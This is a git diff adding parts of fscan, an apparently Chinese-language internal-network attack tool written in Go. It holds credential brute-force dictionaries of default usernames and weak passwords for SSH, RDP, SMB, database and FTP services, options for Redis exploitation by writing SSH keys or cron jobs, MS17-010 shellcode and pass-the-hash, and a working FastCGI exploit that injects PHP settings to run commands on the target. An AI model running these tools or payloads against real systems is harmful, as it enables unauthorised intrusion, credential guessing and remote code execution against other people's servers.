diff --git a/Common/Config.go b/Common/Config.go new file mode 100644 index 0000000..6dd46ae --- /dev/null +++ b/Common/Config.go @@ -0,0 +1,107 @@ +package Common + +var version = "1.8.4" +var Userdict = map[string][]string{ + "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "sql"}, + "smb": {"administrator", "admin", "guest"}, + "rdp": {"administrator", "admin", "guest"}, + "postgresql": {"postgres", "admin"}, + "ssh": {"root", "admin"}, + "mongodb": {"root", "admin"}, + "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, +} + +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} + +var PortGroup = map[string]string{ + "ftp": "21", + "ssh": "22", + "findnet": "135", + "netbios": "139", + "smb": "445", + "mssql": "1433", + "oracle": "1521", + "mysql": "3306", + "rdp": "3389", + "psql": "5432", + "redis": "6379", + "fcgi": "9000", + "mem": "11211", + "mgo": "27017", + "ms17010": "445", + "cve20200796": "445", + "service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017", + "db": "1433,1521,3306,5432,6379,11211,27017", + "web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880", + "all": "1-65535", + "main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017", +} +var Outputfile = "result.txt" +var IsSave = true +var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" + +type PocInfo struct { + Target string + PocName string +} + +var ( + Ports string + Path string + Scantype string + Command string + SshKey string + Domain string + Username string + Password string + Proxy string + Timeout int64 = 3 + WebTimeout int64 = 5 + TmpSave bool + NoPing bool + Ping bool + Pocinfo PocInfo + NoPoc bool + IsBrute bool + RedisFile string + RedisShell string + Userfile string + Passfile string + Hashfile string + HostFile string + PortFile string + PocPath string + Threads int + URL string + UrlFile string + Urls []string + NoPorts string + NoHosts string + SC string + PortAdd string + UserAdd string + PassAdd string + BruteThread int + LiveTop int + Socks5Proxy string + Hash string + Hashs []string + HashBytes [][]byte + HostPort []string + IsWmi bool + Noredistest bool +) + +var ( + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + DnsLog bool + PocNum int + PocFull bool + CeyeDomain string + ApiKey string + Cookie string +) diff --git a/Common/Flag.go b/Common/Flag.go new file mode 100644 index 0000000..bdbf244 --- /dev/null +++ b/Common/Flag.go @@ -0,0 +1,94 @@ +package Common + +import ( + "flag" + "github.com/shadow1ng/fscan/Config" +) + +func Banner() { + banner := ` + ___ _ + / _ \ ___ ___ _ __ __ _ ___| | __ + / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / +/ /_\\_____\__ \ (__| | | (_| | (__| < +\____/ |___/\___|_| \__,_|\___|_|\_\ + fscan version: ` + version + ` +` + print(banner) +} + +func Flag(Info *Config.HostInfo) { + Banner() + + // 目标配置 + flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") + flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + + // 认证配置 + flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&Username, "user", "", "用户名") + flag.StringVar(&Password, "pwd", "", "密码") + flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") + flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + + // 扫描配置 + flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&Threads, "t", 600, "线程数量") + flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") + flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") + flag.BoolVar(&NoPing, "np", false, "禁用存活探测") + flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + + // 文件配置 + flag.StringVar(&HostFile, "hf", "", "主机列表文件") + flag.StringVar(&Userfile, "userf", "", "用户名字典") + flag.StringVar(&Passfile, "pwdf", "", "密码字典") + flag.StringVar(&Hashfile, "hashf", "", "Hash字典") + flag.StringVar(&PortFile, "portf", "", "端口列表文件") + + // Web配置 + flag.StringVar(&URL, "u", "", "目标URL") + flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&Cookie, "cookie", "", "设置Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") + flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + + // POC配置 + flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") + flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") + flag.IntVar(&PocNum, "num", 20, "POC并发数") + + // Redis利用配置 + flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + + // 暴力破解配置 + flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + + // 其他配置 + flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&Hash, "hash", "", "Hash值") + flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + + // 输出配置 + flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") + flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&Silent, "silent", false, "静默扫描模式") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") + flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") + flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + + flag.Parse() +} diff --git a/Common/Log.go b/Common/Log.go new file mode 100644 index 0000000..5669298 --- /dev/null +++ b/Common/Log.go @@ -0,0 +1,172 @@ +package Common + +import ( + "encoding/json" + "fmt" + "github.com/fatih/color" + "io" + "log" + "os" + "strings" + "sync" + "time" +) + +// 记录扫描状态的全局变量 +var ( + Num int64 // 总任务数 + End int64 // 已完成数 + Results = make(chan *string) // 结果通道 + LogSucTime int64 // 最近成功日志时间 + LogErrTime int64 // 最近错误日志时间 + WaitTime int64 // 等待时间 + Silent bool // 静默模式 + Nocolor bool // 禁用颜色 + JsonOutput bool // JSON输出 + LogWG sync.WaitGroup // 日志同步等待组 +) + +// JsonText JSON输出的结构体 +type JsonText struct { + Type string `json:"type"` // 消息类型 + Text string `json:"text"` // 消息内容 +} + +// init 初始化日志配置 +func init() { + log.SetOutput(io.Discard) + LogSucTime = time.Now().Unix() + go SaveLog() +} + +// LogSuccess 记录成功信息 +func LogSuccess(result string) { + LogWG.Add(1) + LogSucTime = time.Now().Unix() + Results <- &result +} + +// SaveLog 保存日志信息 +func SaveLog() { + for result := range Results { + // 打印日志 + if !Silent { + if Nocolor { + fmt.Println(*result) + } else { + switch { + case strings.HasPrefix(*result, "[+] 信息扫描"): + color.Green(*result) + case strings.HasPrefix(*result, "[+]"): + color.Red(*result) + default: + fmt.Println(*result) + } + } + } + + // 保存到文件 + if IsSave { + WriteFile(*result, Outputfile) + } + LogWG.Done() + } +} + +// WriteFile 写入文件 +func WriteFile(result string, filename string) { + // 打开文件 + fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) + if err != nil { + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + return + } + defer fl.Close() + + if JsonOutput { + // 解析JSON格式 + var scantype, text string + if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { + index := strings.Index(result[4:], " ") + if index == -1 { + scantype = "msg" + text = result[4:] + } else { + scantype = result[4 : 4+index] + text = result[4+index+1:] + } + } else { + scantype = "msg" + text = result + } + + // 构造JSON对象 + jsonText := JsonText{ + Type: scantype, + Text: text, + } + + // 序列化JSON + jsonData, err := json.Marshal(jsonText) + if err != nil { + fmt.Printf("[!] JSON序列化失败: %v\n", err) + jsonText = JsonText{ + Type: "msg", + Text: result, + } + jsonData, _ = json.Marshal(jsonText) + } + jsonData = append(jsonData, []byte(",\n")...) + _, err = fl.Write(jsonData) + } else { + _, err = fl.Write([]byte(result + "\n")) + } + + if err != nil { + fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) + } +} + +// LogError 记录错误信息 +func LogError(errinfo interface{}) { + if WaitTime == 0 { + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) + } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) + LogErrTime = time.Now().Unix() + } +} + +// CheckErrs 检查是否为已知错误 +func CheckErrs(err error) bool { + if err == nil { + return false + } + + // 已知错误列表 + errs := []string{ + "远程主机关闭连接", + "连接数过多", + "连接超时", + "EOF", + "连接尝试失败", + "建立连接失败", + "无法连接", + "无法读取数据", + "不允许连接", + "无pg_hba.conf配置项", + "无法建立连接", + "无效的数据包大小", + "连接异常", + } + + // 检查错误是否匹配 + errLower := strings.ToLower(err.Error()) + for _, key := range errs { + if strings.Contains(errLower, strings.ToLower(key)) { + return true + } + } + + return false +} diff --git a/Common/Proxy.go b/Common/Proxy.go new file mode 100644 index 0000000..f8af40e --- /dev/null +++ b/Common/Proxy.go @@ -0,0 +1,78 @@ +package Common + +import ( + "errors" + "fmt" + "golang.org/x/net/proxy" + "net" + "net/url" + "strings" + "time" +) + +// WrapperTcpWithTimeout 创建一个带超时的TCP连接 +func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { + d := &net.Dialer{Timeout: timeout} + return WrapperTCP(network, address, d) +} + +// WrapperTCP 根据配置创建TCP连接 +func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { + // 直连模式 + if Socks5Proxy == "" { + conn, err := forward.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("建立TCP连接失败: %v", err) + } + return conn, nil + } + + // Socks5代理模式 + dialer, err := Socks5Dialer(forward) + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + conn, err := dialer.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) + } + + return conn, nil +} + +// Socks5Dialer 创建Socks5代理拨号器 +func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { + // 解析代理URL + u, err := url.Parse(Socks5Proxy) + if err != nil { + return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) + } + + // 验证代理类型 + if strings.ToLower(u.Scheme) != "socks5" { + return nil, errors.New("仅支持socks5代理") + } + + address := u.Host + var dialer proxy.Dialer + + // 根据认证信息创建代理 + if u.User.String() != "" { + // 使用用户名密码认证 + auth := proxy.Auth{ + User: u.User.Username(), + } + auth.Password, _ = u.User.Password() + dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) + } else { + // 无认证模式 + dialer, err = proxy.SOCKS5("tcp", address, nil, forward) + } + + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + return dialer, nil +} diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go new file mode 100644 index 0000000..ba7b696 --- /dev/null +++ b/Plugins/FcgiScan.go @@ -0,0 +1,376 @@ +package Plugins + +import ( + "bufio" + "bytes" + "encoding/binary" + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/Config" + "io" + "strconv" + "strings" + "sync" + "time" +) + +//links +//https://xz.aliyun.com/t/9544 +//https://github.com/wofeiwo/webcgi-exploits + +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Config.HostInfo) error { + // 如果设置了暴力破解模式则跳过 + if Common.IsBrute { + return nil + } + + // 设置目标URL路径 + url := "/etc/issue" + if Common.Path != "" { + url = Common.Path + } + addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 + var reqParams string + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + + switch { + case Common.Command == "read": + reqParams = "" // 读取模式 + case Common.Command != "": + reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 + default: + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami + } + + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + + // 根据请求类型设置对应的环境变量 + if len(reqParams) != 0 { + env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) + env["REQUEST_METHOD"] = "POST" + env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" + } else { + env["REQUEST_METHOD"] = "GET" + } + + // 建立FastCGI连接 + fcgi, err := New(addr, Common.Timeout) + defer func() { + if fcgi.rwc != nil { + fcgi.rwc.Close() + } + }() + if err != nil { + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err + } + + // 发送FastCGI请求 + stdout, stderr, err := fcgi.Request(env, reqParams) + if err != nil { + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err + } + + // 处理响应结果 + output := string(stdout) + var result string + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 + output = strings.SplitN(output, cutLine, 2)[0] + if len(stderr) > 0 { + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) + } else { + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) + } + Common.LogSuccess(result) + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 + if len(stderr) > 0 { + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) + } else { + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) + } + Common.LogSuccess(result) + } + + return nil +} + +// for padding so we don't have to allocate all the time +// not synchronized because we don't care what the contents are +var pad [maxPad]byte + +const ( + FCGI_BEGIN_REQUEST uint8 = iota + 1 + FCGI_ABORT_REQUEST + FCGI_END_REQUEST + FCGI_PARAMS + FCGI_STDIN + FCGI_STDOUT + FCGI_STDERR +) + +const ( + FCGI_RESPONDER uint8 = iota + 1 +) + +const ( + maxWrite = 6553500 // maximum record body + maxPad = 255 +) + +type header struct { + Version uint8 + Type uint8 + Id uint16 + ContentLength uint16 + PaddingLength uint8 + Reserved uint8 +} + +func (h *header) init(recType uint8, reqId uint16, contentLength int) { + h.Version = 1 + h.Type = recType + h.Id = reqId + h.ContentLength = uint16(contentLength) + h.PaddingLength = uint8(-contentLength & 7) +} + +type record struct { + h header + buf [maxWrite + maxPad]byte +} + +func (rec *record) read(r io.Reader) (err error) { + if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { + return err + } + if rec.h.Version != 1 { + return errors.New("fcgi: invalid header version") + } + n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) + if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { + return err + } + return nil +} + +func (r *record) content() []byte { + return r.buf[:r.h.ContentLength] +} + +type FCGIClient struct { + mutex sync.Mutex + rwc io.ReadWriteCloser + h header + buf bytes.Buffer + keepAlive bool +} + +func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) + fcgi = &FCGIClient{ + rwc: conn, + keepAlive: false, + } + return +} + +func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { + c.mutex.Lock() + defer c.mutex.Unlock() + c.buf.Reset() + c.h.init(recType, reqId, len(content)) + if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { + return err + } + if _, err := c.buf.Write(content); err != nil { + return err + } + if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { + return err + } + _, err = c.rwc.Write(c.buf.Bytes()) + return err +} + +func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { + b := [8]byte{byte(role >> 8), byte(role), flags} + return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) +} + +func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { + b := make([]byte, 8) + binary.BigEndian.PutUint32(b, uint32(appStatus)) + b[4] = protocolStatus + return c.writeRecord(FCGI_END_REQUEST, reqId, b) +} + +func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { + w := newWriter(c, recType, reqId) + b := make([]byte, 8) + for k, v := range pairs { + n := encodeSize(b, uint32(len(k))) + n += encodeSize(b[n:], uint32(len(v))) + if _, err := w.Write(b[:n]); err != nil { + return err + } + if _, err := w.WriteString(k); err != nil { + return err + } + if _, err := w.WriteString(v); err != nil { + return err + } + } + w.Close() + return nil +} + +func readSize(s []byte) (uint32, int) { + if len(s) == 0 { + return 0, 0 + } + size, n := uint32(s[0]), 1 + if size&(1<<7) != 0 { + if len(s) < 4 { + return 0, 0 + } + n = 4 + size = binary.BigEndian.Uint32(s) + size &^= 1 << 31 + } + return size, n +} + +func readString(s []byte, size uint32) string { + if size > uint32(len(s)) { + return "" + } + return string(s[:size]) +} + +func encodeSize(b []byte, size uint32) int { + if size > 127 { + size |= 1 << 31 + binary.BigEndian.PutUint32(b, size) + return 4 + } + b[0] = byte(size) + return 1 +} + +// bufWriter encapsulates bufio.Writer but also closes the underlying stream when +// Closed. +type bufWriter struct { + closer io.Closer + *bufio.Writer +} + +func (w *bufWriter) Close() error { + if err := w.Writer.Flush(); err != nil { + w.closer.Close() + return err + } + return w.closer.Close() +} + +func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { + s := &streamWriter{c: c, recType: recType, reqId: reqId} + w := bufio.NewWriterSize(s, maxWrite) + return &bufWriter{s, w} +} + +// streamWriter abstracts out the separation of a stream into discrete records. +// It only writes maxWrite bytes at a time. +type streamWriter struct { + c *FCGIClient + recType uint8 + reqId uint16 +} + +func (w *streamWriter) Write(p []byte) (int, error) { + nn := 0 + for len(p) > 0 { + n := len(p) + if n > maxWrite { + n = maxWrite + } + if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { + return nn, err + } + nn += n + p = p[n:] + } + return nn, nil +} + +func (w *streamWriter) Close() error { + // send empty record to close the stream + return w.c.writeRecord(w.recType, w.reqId, nil) +} + +func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { + + var reqId uint16 = 1 + defer c.rwc.Close() + + err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) + if err != nil { + return + } + err = c.writePairs(FCGI_PARAMS, reqId, env) + if err != nil { + return + } + if len(reqStr) > 0 { + err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) + if err != nil { + return + } + } + + rec := &record{} + var err1 error + + // recive untill EOF or FCGI_END_REQUEST + for { + err1 = rec.read(c.rwc) + if err1 != nil { + if err1 != io.EOF { + err = err1 + } + break + } + switch { + case rec.h.Type == FCGI_STDOUT: + retout = append(retout, rec.content()...) + case rec.h.Type == FCGI_STDERR: + reterr = append(reterr, rec.content()...) + case rec.h.Type == FCGI_END_REQUEST: + fallthrough + default: + break + } + } + + return +}